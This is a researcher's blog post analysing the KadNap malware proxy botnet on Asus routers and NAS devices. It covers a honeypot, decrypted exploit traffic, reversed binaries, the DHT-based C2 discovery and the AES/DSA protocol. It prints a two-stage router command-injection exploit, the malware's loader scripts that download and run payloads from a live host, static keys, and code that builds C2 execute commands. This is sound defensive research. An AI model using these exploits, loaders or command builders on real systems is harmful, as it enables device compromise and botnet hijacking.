Crippling KadNap's BotNet
Defacing the Faceless
Introduction
As part of my current role at Spur I try to identify and label IPs that may be used for anonymization. This happens to include malware networks that compromise residential address space and sell access to them for illegal activity, web scraping etc. We discovered that the ‘Faceless’ malware proxy service had undergone a rebrand and was now operating under a new name.
Enter today’s contender; Doppelganger, a malware proxy network with a new web storefront advertising IPs for sale/rent using cryptocurrency purchases and an infected IP pool of around ~12+ thousand devices; Spur is actively tracking their infected devices.
A report by Lumen indicated the malware was using the BitTorrent bootstrap node for decentralized callback and peer discovery. Using DHT1 for decentralized control of infected C2 network nodes is not a new mechanism but still interesting to see in application.
Investigating some of the known compromised IPs from the doppelganger[.]shop storefront showed numerous Asus router models, QNAP & Synology storage solutions, Digital Watchdog QSG camera systems, and numerous other edge devices with known vulnerabilities.
I personally suspected that the malware network’s efforts may have been using some of the leg-work the WrtHug campaign against Asus routers2. So what else would I dedicate a week of my life to other than buying some old Asus routers and a soldering iron in an attempt to make a Honeypot.
After some initial setup; modifying telnet & ssh, firewall, and my own home router’s DMZ settings I had them deployed and facing the internet. Mind you all of this was accompanied by some concerned looks from my partner whom I love for tolerating this little adventure of mine.
The goal at this point was to hopefully understand how they would compromise the honeypot. One notable exploit that was already public was an INFOSRV exploit for port 9999 so I added logging for that incase and ensured that only my IP could reach the router over telnet. Then exposed the router to the internet via DMZ.
1
2
3
4
iptables -I INPUT 1 -p udp --dport 9999 -j LOG --log-level 4 --log-prefix "INFOSRV: "
iptables -I INPUT 2 -p tcp -m multiport --dports 80,443,8443 -j LOG --log-level 4 --log-prefix "WEB: "
iptables -A INPUT -p tcp -s 192.168.1.145 --dport 23 -j ACCEPT
iptables -A INPUT -p tcp --dport 23 -j DROP
I connected an external USB flash drive and mounted it before setting up tcpdump.
1
2
3
4
mkdir -p /tmp/mnt/sda1
mount /dev/sda1 /mnt/sda1
cd /mnt/sda1
nohup /mnt/sda1/tcpdump-mips -i any -w capture.cap &
I almost immediately got some unwanted visitors, various scanners and scrapers.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
admin@4G-AC55U:/# netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
...
tcp 20 0 router.asus.com:3394 82-147-88-88.vpsdedic.ru:59126 CLOSE_WAIT
tcp 0 0 router.asus.com:8443 hostingmailto224.statics.servermail.org:58155 SYN_RECV
tcp 20 0 router.asus.com:3394 cole.probe.onyphe.net:45457 CLOSE_WAIT
tcp 1 0 router.asus.com:3394 o315.scanner.modat.io:43354 ESTABLISHED
tcp 20 0 router.asus.com:3394 82-147-88-88.vpsdedic.ru:59126 CLOSE_WAIT
tcp 243 0 router.asus.com:3394 o320.scanner.modat.io:42464 ESTABLISHED
tcp 20 0 router.asus.com:3394 nikhil.probe.onyphe.net:50507 CLOSE_WAIT
tcp 1 0 router.asus.com:3394 pollard.probe.onyphe.net:36759 CLOSE_WAIT
tcp 1 0 router.asus.com:3394 cole.probe.onyphe.net:45795 CLOSE_WAIT
tcp 36 0 router.asus.com:3394 o310.scanner.modat.io:60946 CLOSE_WAIT
tcp 0 0 ::ffff:192.168.0.110:telnet ::ffff:192.168.0.254:56174 ESTABLISHED
Within a few hours I was probably sufficiently indexed and noticed file writes to the /tmp folder. Investigating found a familiar nuisance - Mirai. Plugging the hashes for the binaries into Virustotal confirmed it: Mirai VirusTotal
1
2
3
/tmp/robben
/tmp/kla.sh
/tmp/etc/cert.pem.1
This was not the malware group I was after and I honestly spent way too much time cleaning up their crappy malware while my honeypot was repeatedly compromised. I turned to understanding how they were establishing their foothold as I did not see any INFOSRV entries in the syslog files. Tcpdump confirmed my router was fetching binaries and scripts from 130.12.180.69.
I did not see any interesting traffic to the main login portals for the Asus router (80,8443) but rather the Ai Cloud login portal on 443. Borrowing the server cert and key from the router allowed me to decrypt the communications via Wireshark.
I definitely didn’t forget to update the lighttpd.conf and disable Diffie-Hellman based SSL ciphers and absolutely didn’t need to re-capture the compromise traffic. - sEcuRity eXperT
Decrypting the traffic with Wireshark revealed a seemingly non-public exploit PoC was being used to target the Ai Portal Login on port 443. It appeared it ‘likely’ corresponded to CVE-2024-3912, however no examples were available online - yet, help yourself: CVE-2024-3912.
The exploit functions by pushing an updated root server certificate file via the HTTP verb SETROOTCERTIFICATE, this would write to /etc/cert.pem however that exists so is instead written to /etc/cert.pem.1. A subsequent request with the HTTP verb APPLYAPP appears to have command injection in the RC_SERVICE header allowing for simple command execution to trigger running the written script file. A really interesting exploit finding process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
...
# Stage 1: Write the payload to /tmp/etc/cert.pem.1
BODY = (
'<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>'
"<content>"
"<key>-----BEGIN RSA PRIVATE KEY-----id</key>"
"<cert>#!/bin/sh\n"
"#-----BEGIN CERTIFICATE-----\n"
"\n"
"<![CDATA[command-to-run\n"
"]]>\n"
"</cert>"
"<intermediate_crt>-----BEGIN CERTIFICATE-----</intermediate_crt>"
"</content>"
).replace('command-to-run',COMMAND)
STAGE1 = (
f"SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\n"
f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n"
f"Content-Length: {len(BODY)}\r\n"
f"Connection: close\r\n"
f"\r\n"
f"{BODY}"
).encode("utf-8")
# Stage 2: Trigger execution via RC_SERVICE backtick injection
STAGE2 = (
f"APPLYAPP /favicon.ico/ HTTP/1.1\r\n"
f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n"
f"ACTION_MODE: apply\r\n"
f"SET_NVRAM: aa\r\n"
f"RC_SERVICE: `sh /etc/cert.pem.1`\r\n" # <--------- COMMAND EXECUTION
f"Connection: close\r\n"
f"\r\n"
).encode("utf-8")
...
This PoC proved extremely ‘valuable’ for researching the KadNap malware binaries and scripts. Though I will let you use your imagination as to the relation between these two points.
With KadNap malware files in hand I could move onto analyzing and, eventually, crippling their malware network.
Initial Analysis
After pulling the malware scripts one thing became immediately apparent - they didn’t want Mirai on their infected nodes. There are a few notable files:
/jffs/aic.sh- Result of initial access script and writes the next file. It kills the asus security daemon[a]sdon startup then disables any web reputation services via nvram and restarts the services to disbale traffic signaturing. It also then creates the.asusrouterfile if it does not exist and pulls various binaries one after another until one works. Other variants exist calledanp.shandsto.shwhich appear to be for other target systems, I found these files with a three character brute force against the distribution server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
kill -SIGSTOP $(ps | grep '[a]sd$' | awk '{print $1}')
...
if [ "$wrs_app_enabled" == "1" ] || [ "$wrs_enable" == "1" ] || [ "$jffs2_auto_erase" == "1" ] || [ "$jffs2_format" == "1" ]
then
nvram set wrs_app_enabled=0
nvram set wrs_enable=0
nvram set jffs2_auto_erase=0
nvram set jffs2_format=0
nvram commit
rc rc_service restart_wrs
rc rc_service restart_firewall
fi
...
if cat /jffs/.asusrouter | grep -q sMYz9Gj2PTLf
...
else
echo "#!/bin/sh" > /jffs/.asusrouter
echo "sleep 10" >> /jffs/.asusrouter
echo "cru a sMYz9Gj2PTLf \"55 * * * * /jffs/.asusrouter\"" >> /jffs/.asusrouter
echo "if test -f /jffs/aic.sh;then echo ok;else wget -O /jffs/aic.sh http://216.146.25.201/aic.sh;fi" >> /jffs/.asusrouter
echo "chmod +x /jffs/aic.sh" >> /jffs/.asusrouter
echo "/jffs/aic.sh" >> /jffs/.asusrouter
chmod +x /jffs/.asusrouter
fi
...
if ps | grep -q '[k]ad'
then
echo "kad: ok"
else
cd /jffs
if test -f kad
then
chmod +x kad
./kad
fi
sleep 5
if ps | grep -q '[k]ad'
then
echo "kad: ok"
else
rm -rf kad
wget -O kad http://216.146.25.201/00101001r1
chmod +x kad
./kad
fi
...
/jffs/.asusrouter- used to maintain persistent access and automatically executes on startup on Asus router devices. It re-downloads the infection script from their distribution server if it doesn’t exist and runs it again. It also runs itself every hour on the 55th minute through use of a cron job.
1
2
3
4
5
6
#!/bin/sh
sleep 10
cru a sMYz9Gj2PTLf "55 * * * * /jffs/.asusrouter"
if test -f /jffs/aic.sh;then echo ok;else wget -O /jffs/aic.sh http://216.146.25.201/aic.sh;fi
chmod +x /jffs/aic.sh
/jffs/aic.sh
ntpclient- I believe this is an attempt at path hijacking to intercept ntpclient calls to re-add the cron job and then fulfill the ntpclient request.
1
2
3
4
#!/bin/sh
cru a sMYz9Gj2PTLf "55 * * * * /jffs/.asusrouter"
/usr/sbin/ntpclient $@ > /dev/null
exit 0
Interestingly the binaries being pulled from the distribution server are retrieved one by one until one successfully runs. This makes sense but is a tad lazy for determining what MIPS/ARM version the compromised node is.
They at least didn’t have directory listing on their distribution server at 216.146.25.201 unlike Mirai. The filenames found follow a curious pattern - <8-bit binary string>r<revision-int>. Enumerating all 768 possible names (00000000r1 through 11111111r3) revealed six active variants rather than the three only mentioned in the script:
1
2
3
4
5
6
7
❯ python3 enum_kad.py
[+] 00100001r1 status=200 size=717KB ARM32 (Thumb-2) Full Build Variant ID 0x21
[+] 00100100r1 status=200 size=664KB ARM32 (Thumb-2) Full Build Variant ID 0x24
[+] 00100100r3 status=200 size=664KB ARM32 (Thumb-2) Full Build Variant ID 0x24 -> no revision 2 ? :(
[+] 00101001r1 status=200 size=250KB ARM32 (Thumb-2) Compact Build Variant ID 0x29
[+] 00101011r1 status=200 size=250KB ARM32 (Thumb-2) Compact Build Variant ID 0x2b
[+] 01001001r1 status=200 size=333KB MIPS32 LE Compact Build Variant ID 0x49
Reversing the binaries with Binja showed they share identical cryptographic material - the same AES-256 static key, the same 64-byte XOR key, and the same DSA-1024 public key. The 8-bit filename encodes a build variant flag; 00101001r1 and 00101011r1 differ by exactly 1 byte at offset 0xb858, matching their binary encoding (0x29 vs 0x2b).
Two distinct build lineages exist:
- full builds:
00100001, and00100100which weigh in at ~660-717 KB with ~1350-1450 functions - the extra bulk being some glibc internals (malloc assertions, ELF loader, locale handling). - compact builds:
00101001,00101011, and01001001are stripped down to ~250-333 KB with ~660-705 functions.
Interestingly none of the binaries were MIPS BE - so they wouldn’t actually run on my router devices. But they would run on AWS! - PLEASE DON’T BAN ME MR. BEZOS
I spun up an AWS instance and ran the 00100001r1 ARM build, once again with tcpdump for dynamic analysis and packet capture. The bot immediately began rotating UDP ports - cycling between 16385 and 65535 for its DHT listener. I quickly found out this likely because I had not properly opened external port access to my VPC.
1
2
3
4
5
ubuntu@ip-172-31-45-167:~$ ss -tulpn
udp UNCONN 0 0 0.0.0.0:46893 0.0.0.0:* users:(("00100001r1",pid=3011,fd=3))
ubuntu@ip-172-31-45-167:~$ ss -tulpn
udp UNCONN 0 0 0.0.0.0:43269 0.0.0.0:* users:(("00100001r1",pid=3011,fd=3))
To continue discussing the malware I need to describe the architecture it uses in more detail. I would like to openly state that I did get some help from Claude code and Binja during the reversing process, additionally they have since made revisions to try and claw back part of their IP pool.
Architecture - Two Processes, One Pipe
KadNap uses a forked dual-process architecture. On startup it daemonizes via fork() + setsid(), then forks again to create two cooperating processes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌───────────────────────┐
│ Child Process │
│ (DHT + BT Wire) │
│ │
│ • DHT bootstrap │
│ • get_peers lookups │
│ • BT metadata fetch │
│ • Port extraction │
└─────────┬─────────────┘
│ pipe IPC
[IP:4][port:2]
│
┌─────────▼──────────────┐
│ Parent Process │
│ (C2 Connections) │
│ │
│ • Silent TCP connect │
│ • AES-256-ECB auth │
│ • Command execution │
│ • SOCKS5 proxy │
└────────────────────────┘
The malware loops into the BitTorrent bootstrap node network with the child handling all DHT1 and BitTorrent peer wire activity. When it discovers peers via get_peers responses, it extracts a C2 port from the info_hash itself (not the peer’s announced port), and writes 6-byte [IP:4][port:2] records to a pipe. The parent reads these records, waits a ~600 second throttle, then initiates a silent TCP connection - no handshake, no data sent. It waits for the peer to speak first.
This separation is important. The BT peer wire connections (child process) and the C2 connections (parent process) are completely independent TCP sessions. Confusing the two will lead you down the wrong path - as it did for me initially.
DHT Rendezvous - Deterministic Hashing
This is the core of KadNap’s decentralized C2 discovery. Rather than hardcoding server IPs or domains, every infected node independently computes the same 20-byte info_hash for the current three hour time window and searches the public BitTorrent DHT (Kademlia3) for peers advertising on that hash. The algorithm is the only deterministic hash computation in the binary - confirmed via Binja with single code references to both the 64-byte XOR key and the bencoded template across all six variants.
The startup sequence goes as follows:
- STUN4 - the malware queries
stun.ekiga.netandstun.sip.usfor public IP and to determine likely NAT type - NTP sync - checks five embedded servers (
time-a.nist.gov,time-b.nist.gov,time.windows.com,ntp.asql.co.uk,chronos.csr.net) for accurate time - DHT bootstrap -
find_nodequeries to five hardcoded nodes (router.bittorrent.com,router.utorrent.com,dht.transmissionbt.com,dht.libtorrent.org,bttracker.debian.org) - Routing table refresh - 5-15 random
get_peersqueries for/dev/urandom-generated info_hashes. This is standard Kademlia maintenance. - Rendezvous hash computation - ~5 minutes after startup, begins iterative
get_peersfor the deterministic botnet hash, repeating every ~5 minutes
Core Algorithm
1
2
3
4
5
6
7
8
9
1. Lower epoch to 3-hour boundary: epoch_lowered = epoch - (epoch % 10800)
2. Convert to big-endian 4 bytes: epoch_be = pack_be32(epoch_lowered)
3. XOR all 64 bytes of KEY with epoch: xored[i] = KEY[i] ^ epoch_be[i % 4]
4. Compute pieces hash: pieces_hash = SHA1(xored)
5. Hex-encode epoch as 8-char string: name = sprintf("%08x", floored)
6. Build bencoded torrent info dict: template = "d6:lengthi64e4:name8:" + name +
"12:piece lengthi32768e6:pieces20:" +
pieces_hash + "e"
7. Compute info_hash: info_hash = SHA1(template)
The 64-byte XOR key is static across all known malware variants at the time of writing: 6YL5aNSQv9hLJ42aDKqmnArjES4jxRbfPTnZDdBdpRhJkHJdxqMQmeyCrkg2CBQg.
The three-hour window means every bot on the planet computes the same hash for the same three-hour period, creating an ephemeral rendezvous point on the public DHT that rotates eight times per day.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import struct, hashlib
KEY = b"6YL5aNSQv9hLJ42aDKqmnArjES4jxRbfPTnZDdBdpRhJkHJdxqMQmeyCrkg2CBQg"
# NEW_KEY = b"SfdHWRYy2fUd2WdH9MGvD4vtVDduAPrXxeDuwsxfa8T74FF4nXRDGKSgG6E57XnZ" # DSA-2048
WINDOW = 10800
def compute_info_hash(epoch_seconds):
floored = epoch_seconds - (epoch_seconds % WINDOW)
be_epoch = struct.pack(">I", floored)
xored = bytes(a ^ b for a, b in zip(KEY, be_epoch * 16))
pieces_hash = hashlib.sha1(xored).digest()
hex_key = ("%08x" % floored).encode()
bencoded = (b"d6:lengthi64e4:name8:" + hex_key +
b"12:piece lengthi32768e6:pieces20:" + pieces_hash + b"e")
return hashlib.sha1(bencoded).digest()
I verified this against live malware output across four packet captures, three different node_ids, and ~50GB of DHT flow traffic. The computed hashes matched the observed get_peers queries for every three-hour window.
A feasible means of identifying infected nodes globally would be passively gathering DHT traffic and pre-calculating all three hour window epoch info_hash values and iterating through requests to find IPs querying with matching values.
A subtle implementation detail worth noting: the pieces hash is written into the bencoded template via stack buffer overlap. The SHA1 output buffer (var_8e at sp+0x8e) coincides with the template buffer (var_cc at sp+0xcc) at offset 62 - exactly where the 20-byte pieces field sits. Rather than a memcpy, the SHA1 result lands directly in the template. It was unclear if this was a deliberate optimisation to avoid libc or a happy accident of compiler register allocation.
BitTorrent Peer Wire - Metadata Only
KadNap implements a minimal but functional BitTorrent peer wire protocol. When the child process discovers peers via DHT get_peers, it opens a TCP connection and performs:
- BEP 35 handshake:
\x13BitTorrent protocol+ reserved bytes + info_hash + peer_id - BEP 106 extended handshake: advertises
{m: {ut_metadata: 1}}- and nothing else - BEP 97 metadata request: retrieves the 83-byte info dictionary
- Disconnects (~300ms total)
The peer_ids are distinctive:
- ARM compact builds:
-BM0001-+ 4 random bytes - MIPS compact builds:
-MC0008-+ 4 ASCII digits - Full builds:
-MC4205-+ 4 ASCII digits
The extended handshake is a strong fingerprint. Legitimate BitTorrent clients advertise multiple extensions - ut_pex, ut_holepunch, upload/download metadata, listen port, client version string. KadNap advertises only {m: {ut_metadata: 1}}. No version string, no listen port, no other extensions. After retrieving the metadata, the bot sends a TCP RST. It never sends a BT REQUEST for piece data.
This is important because C2 ports are not extracted from piece data. It’s extracted from the info_hashes themselves.
Predictable Port Extraction
Binja revealed the following details about how ports are derived:
sub_13954scans the first 20 byte-offsets of the info_hash for a valid big-endian uint16 in the range[0x4001, 0xFFFD]. The first match becomes the C2 callback port. If no valid port is found, it defaults to0x4001(16385).
For example, an info_hash starting with 7e52398c36f8... yields port 32338 (0x7E52). This was verified against pcaps - the bot connected to 98.95.220.75:32338, matching the first two bytes of the current epoch’s hash.
I initially assumed the port came from the XOR’d piece data (which always starts with 0x5FF5 = 24565, also a valid port). Though after additional review and some yelling, Claude corrected me.
sub_e70c passes &torrent_struct[2] (the info_hash pointer, not piece data) to sub_13954.
C2 Protocol - AES-256-ECB and DSA Signatures
The C2 protocol runs over separate TCP connections initiated by the parent process. Every packet uses the same wire format:
1
2
3
[2 bytes] BE uint16: total_length (entire packet including header)
[2 bytes] BE uint16: payload_length (data bytes within the encrypted body)
[N bytes] AES-256-ECB encrypted body (padded to 16-byte boundary + 0-512 random bytes)
The four-byte header is cleartext. The body is ECB-encrypted in 16-byte blocks. Random padding fills the gap to the next 16-byte boundary, plus optional additional random blocks generated from /dev/urandom.
The packet construction maps directly to sub_118e8 in the binary. In Python, reimplementing the wire format was relatively straightforward:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Cipher import AES
AES_KEY = b"qFHV7xjr8XprzZsd26yUJ3vAYQUHprbG" # 32-byte static auth key
# NEW_AES_KEY = b"jV9YUDanATgt9E8Sd39jPEFgSaxDWbmV"
def ecb_encrypt(data, key):
c = AES.new(key, AES.MODE_ECB)
out = b""
for i in range(0, len(data), 16):
blk = data[i:i+16]
if len(blk) == 16:
out += c.encrypt(blk)
return out
def ecb_decrypt(data, key):
c = AES.new(key, AES.MODE_ECB)
out = b""
for i in range(0, len(data), 16):
blk = data[i:i+16]
if len(blk) == 16:
out += c.decrypt(blk)
return out
def make_packet(payload, key, extra_pad=True):
"""Build a KadNap wire packet: [total:2BE][plen:2BE][AES-ECB encrypted]
Real C2 adds 0-512 bytes random padding (extra AES blocks) for traffic
analysis resistance. extra_pad=True mimics this behavior.
"""
plen = len(payload)
pad = (16 - (plen % 16)) % 16
if extra_pad:
pad += random.randint(0, 32) * 16 # 0-512 extra random bytes
padded = payload + os.urandom(pad)
enc = ecb_encrypt(padded, key)
return struct.pack(">HH", 4 + len(enc), plen) + enc
def decrypt_packet(raw, key):
"""Decrypt a KadNap packet, return payload bytes."""
total = struct.unpack(">H", raw[0:2])[0]
plen = struct.unpack(">H", raw[2:4])[0]
dec = ecb_decrypt(raw[4:total], key)
return dec[:plen]
Authentication Handshake
The bot connects silently - sends nothing. It expects the peer to send an auth packet first, encrypted with the static key qFHV7xjr8XprzZsd26yUJ3vAYQUHprbG (32 bytes, hardcoded identically in all 5 variants). The auth packet contains:
- A 32-byte session key (chosen by the C2 operator)
- A DSA-1024 signature over the SHA1 hash of that session key
The bot decrypts with the static key (sub_11af4), validates the decrypted payload is at least 32 bytes, hashes the first 32 bytes and verifies integrity (sub_14814/sub_1488c/sub_14560), then performs DSA-10248 signature verification (sub_1685c). On success, the first 32 bytes of the decrypted auth become the new session key via j_sub_17bac (AES key expansion). All subsequent packets in both directions use this new key. Each TCP connection gets a unique session key.
The full verification chain from the decompiled binary (Binary Ninja HLIL of 00100001r1):
1
2
3
4
5
6
7
8
9
10
sub_12f78(auth_payload) // AES auth handshake + session key re-key
→ sub_11af4(static_key) // AES-256-ECB decrypt wrapper
→ sub_14814() + sub_1488c() // SHA1 integrity hash
→ sub_1685c(pubkey=0x4c890) // DSA-1024 signature verification
├── sub_16554() // Initialize LibTomCrypt[^7] math processor
├── sub_1871c() // Parse TLV message (tag type 0x04)
├── sub_19458() // Extract DSA signature components (r, s)
├── sub_185a0() // Import DER-encoded signature, validate ASN.1
└── sub_16e54() // Core DSA verify: validate p, q, g bounds
→ j_sub_17bac(session_key) // AES key schedule expansion with new key
The C2 operators hold the DSA-1024 private key. Bots embed only the public key (452 bytes DER at address 0x4c890, SHA256: 4b4fd4dc7a9cbef0...) - they can verify commands but never sign them. This limited my opportunities for potentially exploiting and crippling their C2 network.
The same public key appears in all five variants, confirming single-operator control. Though new keys have since been added
DSA Signature Extraction
Since I knew the static AES key, I could decrypt any captured auth packet and extract the DSA signature components. The DER-encoded signature follows the 32-byte session key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def parse_der_integer(data, offset):
"""Parse a DER-encoded INTEGER, return (value, next_offset)."""
if offset >= len(data) or data[offset] != 0x02:
return None, offset
offset += 1
length = data[offset]
offset += 1
if length & 0x80:
num_len_bytes = length & 0x7f
length = int.from_bytes(data[offset:offset+num_len_bytes], "big")
offset += num_len_bytes
value = int.from_bytes(data[offset:offset+length], "big")
return value, offset + length
def extract_dsa_from_auth(auth_payload):
"""Extract session key and DSA signature from decrypted auth.
Auth format (sub_12520): [32B session_key] + [DER DSA-1024 sig]
DSA signature is over SHA1(session_key).
"""
session_key = auth_payload[:32]
sig_data = auth_payload[32:]
# Find DER SEQUENCE start (0x30)
for i in range(min(4, len(sig_data))):
if sig_data[i] == 0x30:
# Parse SEQUENCE { INTEGER r, INTEGER s }
idx = i + 2 # skip SEQUENCE tag + length
r, idx = parse_der_integer(sig_data, idx)
s, idx = parse_der_integer(sig_data, idx)
message_hash = hashlib.sha1(session_key).digest()
return {"session_key": session_key, "r": r, "s": s,
"message_hash": message_hash}
return None
This extraction is important because if the C2 operator ever reuses a DSA nonce (same r value across two signatures), the private key can be recovered: k = (m1 - m2) / (s1 - s2) mod q, then x = (s*k - m) / r mod q. I built a tool to rapid fire query known C2 servers and evaluate if there was any cryptographic shortcomings that could be used to derive the DSA private key.
Cryptographic Woes
After retrieving around 500K signatures and evaluating them with assistance from claude they were determined to be cryptographically sound. There was essentially no bit leakage, making HNP Lattice attacks infeasible.
I followed up by using Claude to build some padding attack evaluation scripts. This would evaluate for potential padding shortcomings like Bleichenbacher/Million Message attacks were also confirmed to be infeasible - trust me I tried and gave my 5090 a good sweat verifying potential candidates.
With raw cryptographical attacks seemingly exhausted I moved on to see if there was any other means by which I could exploit the network without a need for the private key.
Post-Authentication C2 Commands
I analyzed the actual authentication. After checking in the C2 delivers commands using a 272-byte structured message format with CRC32C9 (Castagnoli polynomial (LE) 0x82F63B78) integrity checks:
1
2
3
4
5
6
7
8
9
10
[4 bytes] CRC32C checksum (big-endian) over bytes [4:272]
[4 bytes] Content length (big-endian uint32, max 5MB)
[20 bytes] SHA1 hash of file content
[1 byte] Flags:
bit 0 (0x01): file download (C2 → bot)
bit 1 (0x02): file upload (bot → C2)
bit 2 (0x04): shell execution (path → execl /bin/bash)
bit 4 (0x10): ack "received"
bit 5 (0x20): ack "executed"
[243 bytes] Null-terminated file path + zero padding
Commands with invalid CRC are silently dropped. The next packet in the stream contains file content. The CRC32C implementation uses the Castagnoli polynomial - sub_aa20 with the lookup table at data_3c694:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def _crc32c(data):
"""CRC-32C (Castagnoli) - polynomial 0x82F63B78.
Binary-confirmed: sub_aa20 uses data_3c694 CRC table.
sub_128c0 checks CRC32C(cmd[4:272]) == ntohl(cmd[0:4]) before processing."""
table = []
for i in range(256):
crc = i
for _ in range(8):
crc = ((crc >> 1) ^ 0x82F63B78) if (crc & 1) else (crc >> 1)
table.append(crc)
crc = 0xFFFFFFFF
for b in data:
crc = table[(b ^ crc) & 0xFF] ^ (crc >> 8)
return (crc ^ 0xFFFFFFFF) & 0xFFFFFFFF
def make_file_command(filepath, content, flags=None):
"""Build 272-byte command + content pair for file write/exec.
Format: [CRC32C:4B][content_len:4B BE][SHA1:20B][flags:1B][path:NUL-padded]
CRC32C covers bytes [4:272]. Bot rejects if CRC doesn't match (sub_128c0).
"""
sha1 = hashlib.sha1(content).digest()
if flags is None:
flags = 0x05 if filepath.endswith(b'.sh') else 0x01
cmd = bytearray(272)
struct.pack_into(">I", cmd, 4, len(content))
cmd[8:28] = sha1
cmd[28] = flags
cmd[29:29+len(filepath)] = filepath
crc = _crc32c(bytes(cmd[4:]))
struct.pack_into(">I", cmd, 0, crc)
return bytes(cmd), content
Binary analysis confirmed the CRC32C values from the pcap captures: fef5818f is used for writing and executing /tmp/fwr.sh (flags=0x05: download + execute), a3595ff6 for writing /tmp/.sose (flags=0x01: download only), and d1e0e0e7 for keepalive (all zeros, flags=0x00).
From live captures I observed two files being delivered from 45.135.180.38:29010 specifically using the above command mechanism:
| File | Flags | Content |
|---|---|---|
/tmp/fwr.sh | 0x05 (download + execute) | #!/bin/sh\n\niptables -I INPUT -p tcp --dport 22 -j DROP\n |
/tmp/.sose | 0x01 (download only) | 20 bytes: two 10-byte SOCKS5 backconnect entries |
The SSH lockout script was periodically re-pulled and overwritten - editing it locally is pointless, the bot will revert it. The .sose file is only re-downloaded if missing.
SOCKS5 Backconnect - The Revenue Model
The full build variants (00100001, 00100100) implemented an AES-256-ECB10 encrypted SOCKS511 backconnect proxy - this is the botnet’s monetisation mechanism. Infected devices are sold on as private proxy nodes.
The flow:
- C2 delivers
/tmp/.sosecontaining backconnect server IPs (10-byte records:[IP:4][port:2][offsets:2][flags:2]) - Bot reads
.sose, forks a child process per entry - Each child connects outbound to the specified IP:port
- The remote endpoint sends a raw 32-byte AES session key (no framing, no encryption on the key itself)
- All subsequent SOCKS5 traffic is encrypted with that key using the standard KadNap framing
The SOCKS5 state machine (sub_bd0c) in the full build uses a 0x2220-byte connection structure per session and implements a complete proxy lifecycle:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
State 0x01: Outbound TCP connect in progress (15s timeout)
→ Bot initiated non-blocking connect to .sose IP
→ On success → State 0x02
State 0x02: AES key exchange + SOCKS5 method negotiation (180s timeout)
Phase 1 (no key yet):
→ Reads ≥ 32 bytes RAW (no framing, no encryption)
→ First 32 bytes stored as AES-256 session key (j_sub_185b0 key expansion)
Phase 2 (key set):
→ All I/O now uses KadNap framing: [total:2BE][plen:2BE][AES-ECB encrypted]
→ Reads SOCKS5: VER(05) NMETHODS(01) METHOD(00=no_auth)
→ Responds [05 00] → State 0x10
State 0x10: SOCKS5 CONNECT request (180s timeout)
→ Reads encrypted CONNECT: VER(05) CMD(01) RSV(00) ATYP(01) IP(4B) PORT(2B)
→ CMD=1 (CONNECT): protocol mode = 2 (simple relay)
→ CMD=3: protocol mode = 1 (multiplexed, multiple logical connections)
→ ATYP=1 (IPv4) or ATYP=3 (domain, resolved via sub_aedc)
State 0x40: Target TCP connect in progress
→ On success: sends encrypted CONNECT response → State 0x80
State 0x80: Bidirectional relay
→ Client → Bot: AES-decrypted recv (sub_b9b8) → raw send to target
→ Target → Bot: raw recv → AES-encrypted send (sub_bb70) to client
The proxy side facing the target is plaintext - only the client-facing side is AES-encrypted.
Zero Authentication
The SOCKS5 proxy has no authentication whatsoever. Any 32-byte value is accepted as the AES session key - it’s used directly for key expansion with no validation. No challenge-response, no HMAC, no signature verification, no credential check, no IP whitelist. The bot connects to whatever IP is in .sose and blindly accepts whatever key it receives.
This means anyone who can write to /tmp/.sose - or deliver it via a spoofed C2 - can hijack every infected device as a proxy node. The .sose records use a 10-byte format: [IP:4 BE][port:2 BE][offsets:2][flags:2]. Observed values: 79.141.161.152:31812 (4f8da198:7c44) and 89.38.38.74:26273 (592e264a:66a1), with flags 0x01001004 on both entries. This could have meant additional opportunity for sinkholing and killing their SOCKS5 resale model.
KadNap Variant Differences
The two build lineages are not just size differences - they have meaningful functional divergence:
| Feature | Full Build (00100001, 00100100) | Compact Build (00101001, 00101011, 01001001) |
|---|---|---|
| SOCKS5 Proxy | Full AES-encrypted backconnect with multiplexing | Simpler .sose handler, no AES on SOCKS5 channel |
| Shell Executor | sub_b528: tries /bin/bash → ash → sh → system() | Direct execl |
| Pipe Command Handler | sub_12710: reads 272B commands, supports flag 0x04 for shell exec | Simpler pipe protocol |
| Function Count | ~1350-1450 (includes glibc internals) | ~660-705 (stripped runtime) |
| Peer ID | -MC4205- + 4 ASCII digits | -BM0001- (ARM) / -MC0008- (MIPS) |
The compact ARM builds 00101001 and 00101011 are nearly identical - they differ by a single byte at 0xb858 that corresponds to their variant ID. The MIPS compact build (01001001) shares the same reduced feature set but targets a different architecture, covering the router and NAS market where MIPS is prevalent.
All variants share the same cryptographic material, the same info_hash algorithm, and the same C2 protocol. The operator doesn’t need variant-specific tooling - a single DSA private key controls the entire botnet regardless of architecture or build type.
How Exploit?
I went back and forth on the code base and the authentication signatures derived from pcaps. The C2 servers send specific DSA signed session data that I can’t replicate without the private key and can only verify with the node malware binary. I also can’t reverse or deduce the private signing key via cryptographic shortcomings. After a long night of pondering and exploring with some help from Claude an idea sprung to mind. Up until now I had observed no validation of the C2 server’s signature’s connection binding, timestamp, nonce etc. As such - it has no replay mitigation if infected nodes were to connect to an endpoint I control.
More specifically - post-authentication commands were NOT individually DSA-signed They only used AES-ECB encryption with the session key plus a CRC32C integrity check. The DSA signature covers only the initial authentication handshake. This distinction is what made crippling their network possible.
